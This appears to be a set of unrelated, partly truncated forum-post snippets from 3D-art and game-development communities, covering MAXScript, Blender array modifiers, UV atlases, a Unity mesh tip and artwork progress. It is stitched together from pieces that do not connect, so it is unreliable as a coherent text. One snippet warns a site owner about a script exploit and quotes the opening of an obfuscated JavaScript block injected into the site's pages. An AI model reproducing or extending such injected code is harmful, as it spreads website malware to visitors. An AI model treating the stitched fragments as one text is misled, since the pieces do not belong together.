Here's the one I have rasmus, as I said, it's only really useful in some specific situations. [code] macroScript AverageNormal category:"zOffTy Tools" tooltip:" AverageNormal " buttonText: "AverageNormal"(…
Pretty awesome stuff here! And loving the style on that art Razorb and Daphz. here is my Comicon progress. Here is a close up of the sword, just a link since the image is a little big. Made the sword completely in Blender, really love the array modifier.
Cheers guys, and @Di$array, by Gramophone do ya mean the actual "horn"? If so, yeh I agree, gonna make it over the top big. Also, calling candlesticks done unless anyone notices any massive flaws I havent
Nice progress pictures! What texture resolution are you targeting for the walkie-talkie? I think straightening UV strips where applicable would be nice. I continued some on the magic hall. Created a trim atlas to map UVs to, which I want to flesh out further (iterate shapes, sculpt, texture). Large areas will be covered…
Wonderful work so far! I'm interested to hear how you tackled the gem tassels. The detailing is awesome. Are these two sections built with an array on a curve? How the edges sit so evenly on the garment is befuddling me Cheers
You assign Mesh.vertices to modify the vertices. Note that you cannot assign individual elements of Mesh.vertices, you have to assign the entire array, for instance: Vector3[] verts = myMesh.vertices;verts[0] = new Vector3(0,10,0);myMesh.vertices = verts;
A wip for an animated gif. "A former agent of the dissolved "Department Of Intergalactic Reacquisitions" commandeers a wrecked mining vessel to scavenge the rare materials from what was considered to be the most advanced geological sensor array in times long since passed."
dfacto: what if you had a four leg design that was arrayed in a "+" shape, with two legs on either side, one in the front and one in the back? You would have stability for firing a big gun as well as full walker capability.
There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything: this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' &&…
I agree with Di$array on the tree, you don't need it. I love this so much better! I didn't see how much work you put into the arm before you reworked all the lighting... Sooo huge props to you for the remake!